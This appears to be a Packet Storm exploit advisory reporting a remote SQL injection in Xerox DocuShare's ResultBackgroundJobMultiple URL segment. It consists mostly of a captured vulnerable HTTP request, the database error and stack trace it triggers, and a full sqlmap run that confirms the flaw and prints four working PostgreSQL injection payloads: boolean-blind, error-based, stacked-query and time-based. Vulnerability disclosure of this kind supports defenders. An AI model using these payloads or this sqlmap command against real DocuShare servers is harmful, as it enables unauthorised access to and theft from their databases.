what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Xerox DocuShare SQL Injection

Xerox DocuShare SQL Injection
Posted Apr 15, 2014
Authored by Brandon Perry

Xerox DocuShare suffers from a remote SQL injection vulnerability.

tags | exploit, remote, sql injection
SHA-256 | 359f347609e558ed6a4327b3bbf7312d0184b8b8950c198fc1929251921926e2

Xerox DocuShare SQL Injection

Change Mirror Download
The following request is vulnerable to a SQL injection in the last URI segment:

GET /docushare/dsweb/ResultBackgroundJobMultiple/1 HTTP/1.1
Host: 172.31.16.194:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:26.0) Gecko/20100101 Firefox/26.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://172.31.16.194:8080/docushare/dsweb/DeleteConfirmation/1/Collection-14/Services
Cookie: JSESSIONID=AB82A86859D9C65475DDE5E47216F1A0.tomcat1; AmberUser=64.980A91BBF9D661CB800C2CE5FCCE924AEF4D51CF0280B319873BC31AF0705F0F21.1svt4r2doj13hhu1dc7kf
Connection: keep-alive


Response (goodies):

<div id="error_vdftitle">
<h2><font color="#DD3333">System Error </font></h2>
</div>
<div id="content">
<form name="ERROR" method="post" action="/docushare/dsweb/ApplyError">
<table cellpadding="1" cellspacing="1">
<tr><td><b>Error Code: 1501</b></td></tr>
<tr><td><b><i>SQL error.</i></b></td></tr>
</table>
<input type="hidden" name="dsexception" value="yes" />
<input type="hidden" name="dserrorcode" value="1501" />
<input type="hidden" name="detail_message" value="SQL error." />
<br />
<input type="hidden" name="message" value="Error doing the getBackgroundJobInfo query; nested exception is:
org.postgresql.util.PSQLException: ERROR: unterminated quoted string at or near "'1"
Error doing the getBackgroundJobInfo query; nested exception is:
org.postgresql.util.PSQLException: ERROR: unterminated quoted string at or near "'1"
" />
<input type="hidden" name="stacktrace" value="com.xerox.docushare.db.DatabaseException: Error doing the getBackgroundJobInfo query; nested exception is:
org.postgresql.util.PSQLException: ERROR: unterminated quoted string at or near "'1"

at com.xerox.docushare.db.jdbc.DbConnectionJDBC.getBackgroundJobInfo(DbConnectionJDBC.java:18440)
at com.xerox.docushare.impl.server.BackendSessionImpl.getBackgroundJobInfo(BackendSessionImpl.java:13022)
at sun.reflect.GeneratedMethodAccessor59.invoke(Unknown Source)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:25)
at java.lang.reflect.Method.invoke(Method.java:597)
at sun.rmi.server.UnicastServerRef.dispatch(UnicastServerRef.java:305)
at sun.rmi.transport.Transport$1.run(Transport.java:159)
at java.security.AccessController.doPrivileged(Native Method)
at sun.rmi.transport.Transport.serviceCall(Transport.java:155)
at sun.rmi.transport.tcp.TCPTransport.handleMessages(TCPTransport.java:535)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run0(TCPTransport.java:790)
at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(TCPTransport.java:649)
at java.util.concurrent.ThreadPoolExecutor$Worker.runTask(ThreadPoolExecutor.java:886)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:908)
at java.lang.Thread.run(Thread.java:662)
" />
<input type="hidden" name="redirectTo" value="SystemError" />



---------------------------------------

quick sqlmap run:

bperry@ubuntu:~/tools/sqlmap$ ./sqlmap.py -r /tmp/req.req --level=5 --risk=3 -o --dbms=postgres

sqlmap/1.0-dev-e8c1c90 - automatic SQL injection and database takeover tool
http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 09:28:49

[09:28:49] [INFO] parsing HTTP request from '/tmp/req.req'
custom injection marking character ('*') found in option '-u'. Do you want to process it? [Y/n/q]
[09:28:50] [INFO] testing connection to the target URL
[09:28:51] [INFO] testing NULL connection to the target URL
[09:28:51] [INFO] testing if the target URL is stable. This can take a couple of seconds
[09:28:52] [INFO] target URL is stable
[09:28:52] [INFO] testing if URI parameter '#1*' is dynamic
[09:28:52] [INFO] confirming that URI parameter '#1*' is dynamic
[09:28:52] [WARNING] URI parameter '#1*' does not appear dynamic
[09:28:52] [INFO] testing for SQL injection on URI parameter '#1*'
[09:28:52] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[09:28:52] [WARNING] reflective value(s) found and filtering out
[09:28:53] [INFO] URI parameter '#1*' seems to be 'AND boolean-based blind - WHERE or HAVING clause' injectable
[09:28:53] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[09:28:53] [INFO] URI parameter '#1*' is 'PostgreSQL AND error-based - WHERE or HAVING clause' injectable
[09:28:53] [INFO] testing 'PostgreSQL inline queries'
[09:28:53] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[09:28:53] [WARNING] time-based comparison requires larger statistical model, please wait........
[09:29:04] [INFO] URI parameter '#1*' seems to be 'PostgreSQL > 8.1 stacked queries' injectable
[09:29:04] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[09:29:14] [INFO] URI parameter '#1*' seems to be 'PostgreSQL > 8.1 AND time-based blind' injectable
[09:29:14] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[09:29:14] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[09:29:14] [INFO] ORDER BY technique seems to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[09:29:14] [INFO] target URL appears to have 10 columns in query
injection not exploitable with NULL values. Do you want to try with a random integer value for option '--union-char'? [Y/n]
[09:29:31] [INFO] testing 'Generic UNION query (49) - 22 to 40 columns'
[09:29:33] [INFO] testing 'Generic UNION query (49) - 42 to 60 columns'
[09:29:34] [INFO] testing 'Generic UNION query (49) - 62 to 80 columns'
[09:29:36] [INFO] testing 'Generic UNION query (49) - 82 to 100 columns'
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N]
sqlmap identified the following injection points with a total of 155 HTTP(s) requests:
---
Place: URI
Parameter: #1*
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: http://172.31.16.194:8080/docushare/dsweb/ResultBackgroundJobMultiple/1 AND 6164=6164

Type: error-based
Title: PostgreSQL AND error-based - WHERE or HAVING clause
Payload: http://172.31.16.194:8080/docushare/dsweb/ResultBackgroundJobMultiple/1 AND 7298=CAST((CHR(113)||CHR(113)||CHR(108)||CHR(115)||CHR(113))||(SELECT (CASE WHEN (7298=7298) THEN 1 ELSE 0 END))::text||(CHR(113)||CHR(120)||CHR(109)||CHR(121)||CHR(113)) AS NUMERIC)

Type: stacked queries
Title: PostgreSQL > 8.1 stacked queries
Payload: http://172.31.16.194:8080/docushare/dsweb/ResultBackgroundJobMultiple/1; SELECT PG_SLEEP(5)--

Type: AND/OR time-based blind
Title: PostgreSQL > 8.1 AND time-based blind
Payload: http://172.31.16.194:8080/docushare/dsweb/ResultBackgroundJobMultiple/1 AND 3994=(SELECT 3994 FROM PG_SLEEP(5))
---
[09:30:04] [INFO] the back-end DBMS is PostgreSQL
back-end DBMS: PostgreSQL
[09:30:04] [INFO] fetched data logged to text files under '/home/bperry/tools/sqlmap/output/172.31.16.194'

[*] shutting down at 09:30:04

bperry@ubuntu:~/tools/sqlmap$

Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    0 Files
  • 9
    Sep 9th
    0 Files
  • 10
    Sep 10th
    0 Files
  • 11
    Sep 11th
    0 Files
  • 12
    Sep 12th
    0 Files
  • 13
    Sep 13th
    0 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close